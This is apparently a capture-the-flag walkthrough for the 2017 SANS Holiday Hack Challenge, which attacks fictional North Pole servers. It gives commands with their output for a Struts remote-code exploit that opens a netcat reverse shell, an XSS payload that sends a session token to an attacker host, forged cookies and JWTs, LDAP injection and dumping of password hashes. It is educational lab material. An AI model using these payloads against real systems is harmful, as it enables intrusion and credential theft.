Letters to Santa

Start at the Letters to Santa server (https://l2s.northpolechristmastown.com/). This server is publicly available from the Internet. The page source contains a link to a development version of the server.

    <!-- Development version -->
    <a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>

The development server contains a Toy Request Form. Observe the page footer states that the application is powered by Apache Struts, and the structure of the site suggests a RESTful API. There were several high profile Apache Struts vulnerabilities revealed in 2017; CVE-2017-9805 discusses a remote code execution vulnerability related to the REST plugin in Struts.

Find the SANS Penetration Test blog article titled Why You Need the Skills to Tinker with Publicly Released Exploit Code that's mentioned in the hints from Sparkle Redberry. Download the exploit code and try running it against the dev server. The exploit code takes two arguments:

  • A vulnerable URL: https://dev.northpolechristmastown.com/orders
  • A shell command to run on the victim server, "nc -e /bin/sh ", which executes netcat and creates a reverse shell connection to a given destination IP address and port.
root@kali:~/hh17/l2s# ./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders -c "nc -e /bin/sh 192.0.2.123 8001"
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed

Meanwhile, start a netcat listener on the attacker PC to accept the reverse shell connection. When it connects, explore the system to find the Great Book page and the hardcoded password in the web application code. The Struts application code will be found within the Tomcat server's directory structure (/opt/apache-tomcat). Use grep with the -R (recursive) option to search for a file that contains the string "alabaster", then grep for a password in the same file.

root@kali:~# nc -vnlp 8001
listening on [any] 8001 ...
connect to [192.0.2.123] from (UNKNOWN) [35.190.140.65] 60766
id
uid=1003(alabaster_snowball) gid=1004(alabaster_snowball) groups=1004(alabaster_snowball)

ls -la /var/www/html
total 1772
drwxrwxrwt 6 www-data           www-data              4096 Dec 27 05:30 .
drwxr-xr-x 3 root               root                  4096 Oct 12 14:35 ..
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:03 css
drwxr-xr-x 3 root               www-data              4096 Oct 12 19:40 fonts
-r--r--r-- 1 root               www-data           1764298 Dec  4 20:25 GreatBookPage2.pdf
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:14 imgs
-rw-r--r-- 1 root               www-data             14501 Nov 24 20:53 index.html
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:11 js
-rwx------ 1 www-data           www-data               231 Oct 12 21:25 process.php

grep -R alabaster /opt
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class:            final String username = "alabaster_snowball";

grep password /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class
            final String password = "stream_unhappy_buy_loss";   
            String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
           connection = (Connection) DriverManager.getConnection(connectionURL,      username, password);

Observe the hardcoded credentials in /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class are username: alabaster_snowball, password: stream_unhappy_buy_loss.

Now, download the great book page using wget.

root@kali:~/hh17/l2s# wget https://l2s.northpolechristmastown.com/GreatBookPage2.pdf
--2017-12-27 16:49:21--  https://l2s.northpolechristmastown.com/GreatBookPage2.pdf
Resolving l2s.northpolechristmastown.com (l2s.northpolechristmastown.com)... 35.185.84.51
Connecting to l2s.northpolechristmastown.com (l2s.northpolechristmastown.com)|35.185.84.51|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1764298 (1.7M) [application/pdf]
Saving to: ‘GreatBookPage2.pdf’

GreatBookPage2.pdf          100%[===========================================>]   1.68M  3.56MB/s    in 0.5s 

2017-12-27 16:49:22 (3.56 MB/s) - ‘GreatBookPage2.pdf’ saved [1764298/1764298]

Recon and gain more access

While still connected to the dev server reverse shell, perform recon tasks to collect details about the environment that might be useful later.

View /etc/hosts to find a list of other hosts in the environment.

cat /etc/hosts

127.0.0.1   localhost l2s dev.northpolechristmastown.com l2s.northpolechristmastown.com
10.142.0.5  mail.northpolechristmastown.com ewa.northpolechristmastown.com
10.142.0.13 eaas.northpolechristmastown.com
10.142.0.6  edb.northpolechristmastown.com
::1     localhost l2s ip6-localhost ip6-loopback
ff02::1     ip6-allnodes
ff02::2     ip6-allrouters

10.142.0.3 hhc17-apache-struts1.c.holidayhack2017.internal hhc17-apache-struts1  # Added by Google
169.254.169.254 metadata.google.internal  # Added by Google

Use nmap to gather additional details about each host.

nmap -A 10.142.0.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-27 05:56 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00016s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http     nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Did not follow redirect to https://hhc17-l2s-proxy.c.holidayhack2017.internal/
443/tcp  open  ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
2222/tcp open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00018s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp open  http    nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Toys List
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00016s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62:c5:eb:70:08:4e:44:ef:9c:9c:54:f3:81:8a:00:9f (RSA)
|_  256 8b:f1:15:a0:68:46:c1:80:82:da:19:cb:68:25:9e:43 (ECDSA)
25/tcp   open  smtp       Postfix smtpd
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp   open  http       nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/cookie.txt
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
143/tcp  open  imap       Dovecot imapd
|_imap-capabilities: IMAP4rev1 more LITERAL+ ID LOGIN-REFERRALS post-login ENABLE capabilities listed SASL-IR IDLE OK Pre-login have AUTH=LOGINA0001 AUTH=PLAIN
2525/tcp open  smtp       Postfix smtpd
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
3000/tcp open  tcpwrapped
Service Info: Host:  mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00017s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 69:37:65:10:2d:f3:d8:88:77:48:54:e3:a5:de:11:5a (RSA)
|_  256 dc:27:b3:55:ef:7e:5c:21:7b:ca:f5:eb:08:97:d8:01 (ECDSA)
80/tcp   open  http       nginx 1.10.3
| http-robots.txt: 1 disallowed entry 
|_/dev
|_http-server-header: nginx/1.10.3
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://edb.northpolechristmastown.com/index.html
389/tcp  open  tcpwrapped
8080/tcp open  tcpwrapped
| http-robots.txt: 1 disallowed entry 
|_/dev
|_http-server-header: Werkzeug/0.12.2 Python/2.7.13
|_http-title: Did not follow redirect to http://edb.northpolechristmastown.com/index.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00031s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-smb-server
| Not valid before: 2017-11-06T13:46:55
|_Not valid after:  2018-05-08T13:46:55
|_ssl-date: 2017-12-27T05:57:49+00:00; 0s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00016s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp open  http    nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Toys List
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00068s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Index - North Pole Engineering Presents: EaaS!
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-elf-manufacturing
| Not valid before: 2017-11-23T20:53:55
|_Not valid after:  2018-05-25T20:53:55
|_ssl-date: 2017-12-27T05:57:49+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

Post-scan script results:
| ssh-hostkey: Possible duplicate hosts
| Key 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) used by:
|   10.142.0.2
|   10.142.0.3
|   10.142.0.11
| Key 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) used by:
|   10.142.0.2
|   10.142.0.3
|_  10.142.0.11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (7 hosts up) scanned in 104.82 seconds

Use SSH to connect to the l2s server

SSH into the l2s server using the username and password gathered from the development web server.

root@kali:~/hh17/l2s# ssh alabaster_snowball@l2s.northpolechristmastown.com
alabaster_snowball@l2s.northpolechristmastown.com's password:
alabaster_snowball@l2s:/tmp/asnow.Xjxkdg5iGS1lJuOvn497v1kj$ 

Windows SMB Server

Observe that the nmap scan output does not include an SMB server, aside from the EMI server that will be discussed later. Using SSH access to the L2S server, run nmap find to hosts on 10.142.0.0/24 that don't respond to ICMP echo-request (PING), but are listening on port tcp/445 (SMB).

Note

The -Pn option skips host discovery, and assuming all hosts are up, nmap scans the specified ports on all IP addresses in the list you provide.

alabaster_snowball@l2s:/tmp/asnow.Xjxkdg5iGS1lJuOvn497v1kj$ nmap -Pn -p445 --open 10.142.0.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-27 05:47 UTC
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.0013s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00034s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap done: 256 IP addresses (256 hosts up) scanned in 5.85 seconds

Notice a previously undiscovered host appears in the results. Perform a more exhausive scan on the SMB server at 10.142.0.7 to gather additional details about it.

alabaster_snowball@l2s:/tmp/asnow.Xjxkdg5iGS1lJuOvn497v1kj$ nmap -A -Pn 10.142.0.7
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00068s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-emi
| Not valid before: 2017-11-06T13:51:23
|_Not valid after:  2018-05-08T13:51:23
|_ssl-date: 2017-12-27T06:23:08+00:00; 0s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.43 seconds
alabaster_snowball@l2s:/tmp/asnow.Xjxkdg5iGS1lJuOvn497v1kj$ 

Add port forwarding to the SSH session to use local tools on the attack PC to interact with the SMB server.

Tip

Most documentation shows how to set up port forwarding from the command line using the -L option, however it's possible to add port forwarding to an existing connection. See SSH Port Forwarding Without Starting A new Session.

alabaster_snowball@l2s:/tmp/asnow.Xjxkdg5iGS1lJuOvn497v1kj$ 
ssh> -L445:10.142.0.7:445
Forwarding port.

alabaster_snowball@l2s:/tmp/asnow.Xjxkdg5iGS1lJuOvn497v1kj$ 

Enumerate the available shares on the SMB server. Since port forwarding is in use, connections to port 445 on 127.0.0.1 will be forwarded to port 445 on the SMB server 10.142.0.7. Use smbclient to browse fileshares and download any discovered files, including page 3 of The Great Book.

root@kali:~# smbclient -L 127.0.0.1 -U alabaster_snowball
Enter alabaster_snowball's password: 
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    FileStor        Disk      
    IPC$            IPC       Remote IPC
Connection to 127.0.0.1 failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available

root@kali:~# smbclient '\\127.0.0.1\Filestor\' -U alabaster_snowball
Enter alabaster_snowball's password: 
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> dir
  .                                   D        0  Wed Dec 27 00:48:17 2017
  ..                                  D        0  Wed Dec 27 00:48:17 2017
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 16:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 14:21:44 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 16:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 14:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 16:51:25 2017

        13106687 blocks of size 4096. 9626547 blocks available

smb: \> get GreatBookPage3.pdf
getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (1965.1 KiloBytes/sec) (average 1965.1 KiloBytes/sec)
smb: \> 

Note

Alternatively, use the GUI file explorer built into Kali to connect to the file share.

Screenshot

Screenshot

Elf Web Access (EWA)

Use SSH port forwarding to access port 80 on 10.142.0.5.

Tip

HTTP/1.1 supports the hosting of multiple web sites on a single IP address. To distinguish which site to serve up, the server looks for a hostname passed by the web browser in the HTTP Host: header, and then responds with the corresponding site's content.

When using SSH port forwarding, it's common to use http://127.0.0.1 to access the remote web server; however in this case the server isn't configured to respond to requests for host "127.0.0.1", so you'll get unexpected results like the default Apache "It Works!" page. To work around this, add an entry in your /etc/hosts or C:\Windows\system32\drivers\etc\hosts so you can use the hostname when calling the remote web server instead of 127.0.0.1.

Example:

127.0.0.1 mail.northpolechristmastown.com

Enable your browser's web developer tools (F12 key) to capture the client/server communication, and browse to the EWA logon page at http://mail.northpolechristmastown.com. Notice that the server sets an interesting cookie named EWA.

Observe in the nmap scan that this web server has a robots.txt file. Browse to http://mail.northpolechristmastown.com/robots.txt and observe there's an entry for cookie.txt. Browse to http://mail.northpolechristmastown.com/cookie.txt, and examine its contents:

//FOUND THESE FOR creating and validating cookies. Going to use this in node js
    function cookie_maker(username, callback){
        var key = 'need to put any length key in here';
        //randomly generates a string of 5 characters
        var plaintext = rando_string(5)
        //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
        //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
        var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
        //Setting the values of the cookie.
        var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
        return callback(acookie);
    };
    function cookie_checker(req, callback){
        try{
            var key = 'need to put any length key in here';
            //Retrieving the cookie from the request headers and parsing it as JSON
            var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
            //Retrieving the cipher text 
            var ciphertext = thecookie.ciphertext;
            //Retrievingin the username
            var username = thecookie.name
            //retrieving the plaintext
            var plaintext = aes256.decrypt(key, ciphertext);
            //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
            if (plaintext === thecookie.plaintext) {
                return callback(true, username);
            } else {
                return callback(false, '');
            }
        } catch (e) {
            console.log(e);
            return callback(false, '');
        }
    };

This javascript code appears to be the basis for how this server creates and validates cookies. Find the source code for the nodejs-aes256 library used in the sample code.

aes256.decrypt = function (key, data) {
    var sha256 = crypto.createHash('sha256');
    sha256.update(key);

    var input = new Buffer(data, 'base64'),
        iv = input.slice(0, 16),
        ciphertext = input.slice(16),
        decipher = crypto.createDecipheriv(algorithm, sha256.digest(), iv),
        plaintext = decipher.update(ciphertext);
    plaintext += decipher.final();

    return plaintext;
};

The code shows that the decryption routine will use an empty value for ciphertext if a 16 byte value is provided for the encrypted string. This is because the functon uses the first 16 bytes as the initialization vector, leaving nothing left to fill the ciphertext variable. The result of decrypting an empty ciphertext is an empty plaintext, and since an empty string equals an empty string both in value and type, the function returns a true match and permits authenticated access to the webmail application.

Modify the cookie to use an empty string for plaintext and a ciphertext value MDAwMDAwMDAwMDAwMDAwMA, along with the e-mail address of whichever user's e-mail box you wish to access.

{"name":"santa.claus@northpolechristmastown.com", "plaintext":"", "ciphertext":"MDAwMDAwMDAwMDAwMDAwMA"}

Note

MDAwMDAwMDAwMDAwMDAwMA is just the base64 encoded representation of 16 zeros.

root@kali:~# echo -n "0000000000000000" | base64
MDAwMDAwMDAwMDAwMDAwMA==

Use the Cookie Manager browser plugin to change the cookie's value, then reload the page to bypass the logon screen.

Read the e-mail from Holly Evergreen to find the URL to page 4 of The Great Book: http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf

Screenshot

Expore all of the other e-mails in Santa's inbox to discover additional hints and humor.

Tip

Alternatively, browse the website through an interception proxy like Burpsuite to modify the cookie.

Viewing and modifying cookies that have been collected in Burpsuite's cookie jar is fairly straightforward, however setting Burp to use the modified cookie as you browse through the proxy takes an extra step. In the Session Handling Rule Editor, check the option for Proxy.

Screenshot

North Pole Elf Database (EDB)

Although there are variations in how to solve each of these challenges, there are two completely different ways to approach this challenge.

Note

The second approach documented here stopped working around the turn of the new year. I suspect this was an unintended backdoor, but it was fun to exploit while it lasted.

Approach #1: XSS session hijacking

Use SSH port forwarding to access port 80 on 10.142.0.6, then browse to the web server using url http://edb.northpolechristmastown.com.

Inspect the page source and observe some javascript toward the bottom that sets a token into a local storage variable. This must be a session token provided to the user after valid credentials are entered.

    <script>
        if (!document.cookie) {
            window.location.href = '/';
        } else {
            token = localStorage.getItem("np-auth");
            if (token) {
                $.post( "/login", { auth_token: token }).done(function( result ) {
                    if (result.bool) {
                        window.location.href = result.link;
                    }
                })
            }
        }
    </script>

Tip

For more on local storage, read Local Storage And How To Use It On Websites.

Hints in the game indicate that Wunorse Openslae responds to helpdesk tickets to reset passwords for the elves, and that he may be susceptible to XSS attack. Since we don't have a password, perhaps we can steal a valid token instead.

Browse to the logon page http://edb.northpolechristmastown.com and click on the Forgot Password link. Enter a valid username (alabaster.snowball) and e-mail address (alabaster.snowball@northpolechristmastown.com), then enter the following Cross Site Scripting (XSS) payload into the message field on the password reset page:

<BODY ONLOAD=window.location='http://192.0.2.123:8000/?token='+localStorage.getItem('np-auth')>

This will grab the value of the np-auth token stored in the victim's browser and send it as a parameter in an HTTP GET request to the server specified in the URL.

Note

The message body text area on the web form is checked for cross site scripting attacks, the logic of which is visible in the javascript of the page. It is only a rudimentary check that looks for SCRIPT tags, so use a BODY tag instead to bypass the input validation.

Meanwhile on the attacker PC, start a quick and dirty web server using Python and wait for the request from the victim's browser.

root@kali:/home/hh17/edb# python -M SimpleHTTPServer 8000

192.0.2.123 - - [04/Jan/2018 17:18:05] "GET /?token=null HTTP/1.1" 200 -

35.196.239.128 - - [04/Jan/2018 17:18:19] "GET /?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1" 200 -

The first request is from your own browser, as the XSS payload is rendered on the ticket confirmation page after submitting the form. The second request is from the victim, and includes the np-auth token as a parameter. The long string shown in the output above after token= is a Java Web Token (JWT). Decode it in python using pyjwt.

root@kali:~/hh17/edb# pip install PyJWT
Collecting PyJWT
  Downloading PyJWT-1.5.3-py2.py3-none-any.whl
Installing collected packages: PyJWT
Successfully installed PyJWT-1.5.3
root@kali:~/hh17/edb# python

Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.

>>> import jwt

>>> jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I', verify=False) 
{u'dept': u'Engineering', u'ou': u'elf', u'expires': u'2017-08-16 12:00:47.248093+00:00', u'uid': u'alabaster.snowball'}

Google for a JWT key cracking tool, and come up with https://github.com/brendan-rius/c-jwt-cracker.

root@kali:~/hh17/edb# git clone https://github.com/brendan-rius/c-jwt-cracker.git
Cloning into 'c-jwt-cracker'...
remote: Counting objects: 58, done.
remote: Total 58 (delta 0), reused 0 (delta 0), pack-reused 58
Unpacking objects: 100% (58/58), done.
root@kali:~/hh17/edb# cd c-jwt-cracker/
root@kali:~/hh17/edb/c-jwt-cracker# make
gcc -I /usr/include/openssl -g -std=gnu99 -O3   -c -o main.o main.c
gcc -I /usr/include/openssl -g -std=gnu99 -O3   -c -o base64.o base64.c
gcc -o jwtcrack main.o base64.o -lssl -lcrypto -lpthread
root@kali:~/hh17/edb/c-jwt-cracker/jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSI6Imh1bWFuIiwiZXhwaXJlcyI6IjIwMTctMTItMjMgMjI6MDU6NTQuMjgyMjg5KzAwOjAwIiwidWlkIjoic2FudGEuY2xhdXMifQ.WfER9PlojDSzsP8MCtutSZftRMblDyQniGXRqrS358U
Secret is "3lv3s"

Notice that the expiration time in the token we captured is expired. Set the expiration date in the future and then encode the token using the 3lv3s key cracked in the previous step.

>>> jwt.encode({u'dept': u'Engineering', u'ou': u'elf', u'expires': u'2019-08-16 12:00:47.248093+00:00', u'uid': u'alabaster.snowball'}, '3lv3s', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE5LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.m1GhT_u-gQ_SWXY-ZGwCZxw6nqehkvKyO0a65U6Nc5U'

Open the browser developer tools using the F12 key, and go to the Console tab. Type the following javascript function to set the token, then reload the EDB page to bypass the logon page.

localStorage.setItem('np-auth','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE5LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.m1GhT_u-gQ_SWXY-ZGwCZxw6nqehkvKyO0a65U6Nc5U')

You should now be looking at a web form. Notice that in the menu, there is a Santa Panel option that asks for Santa's password.

Screenshot

Browse through an interception proxy like Burpsuite. Enter ))(|(cn= in the Elf Name field, select First,Last,Email for the column list and then click Search. In the interception proxy, change the POST data to read:

name=))(%7C(cn%3D&isElf=True&attributes=profilePath%2Cuid%2CuserPassword%2Cmail

The name string will change the underlying LDAP query so that it returns all entries regardless of whether the entity is an elf, reindeer or human. The updated attribute list will cause the server to return username and password hash for each entity. The usernames and passwords will not appear in the webpage, but they will be in the JSON returned by the server, and can be read from the interception proxy.

Screenshot

Additional background on this type of attack can be found on the SANS Penetration Testing Blog article Understanding and Exploiting Web-based LDAP.

Approach #2: Enumerate the LDAP server

Examine the nmap scan results and notice that the server is listening on port tcp/389, which is an LDAP server.

Use SSH port forwarding to access port 389 on 10.142.0.6, then connect to the ldap service and download its contents, which includes password hashes.

root@kali:~/hh17/edb# ldapsearch -x -h 127.0.0.1 -p 389 -b "dc=northpolechristmastown,dc=com"
# extended LDIF
#
# LDAPv3
# base <dc=northpolechristmastown,dc=com> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# northpolechristmastown.com
dn: dc=northpolechristmastown,dc=com
objectClass: dcObject
objectClass: organization
dc: northpolechristmastown.com

<output shortened>

# santa, human, northpolechristmastown.com
dn: cn=santa,ou=human,dc=northpolechristmastown,dc=com
objectClass: addressbookPerson
c: US
cn: santa
department: administrators
description: A round, white-bearded, jolly old man in a red suit, who lives at
  the North Pole, makes toys for children, and distributes gifts at Christmast
 ime. AKA - The Boss!
facsimileTelephoneNumber: 123-456-8893
gn: Santa
l: North Pole
mail: santa.claus@northpolechristmastown.com
ou: human
postOfficeBox: 126
postalAddress: Candy Street
postalCode: 543210
profilePath: /img/elves/santa.png
sn: Claus
st: AK
street: Santa Claus Lane
telephoneNumber: 123-456-7893
uid: santa.claus
userPassword:: Y2RhYmViOTZiNTA4ZjI1Zjk3YWIwZjE2MmVhYzVhMDQ=

# search result
search: 2
result: 0 Success

# numResponses: 26
# numEntries: 25

Base64 decode the password hashes before using them any further.

root@kali:~/hh17/edb# echo -n "Y2RhYmViOTZiNTA4ZjI1Zjk3YWIwZjE2MmVhYzVhMDQ=" | base64 -d
cdabeb96b508f25f97ab0f162eac5a04

Regardless of which approach, continue here..

Here are the resulting password hashes:

uid userPassword
rudolph ff943fe99491b32ea387489106517af4
blitzen ff943fe99491b32ea387489106517af4
donner ff943fe99491b32ea387489106517af4
cupid ff943fe99491b32ea387489106517af4
comet ff943fe99491b32ea387489106517af4
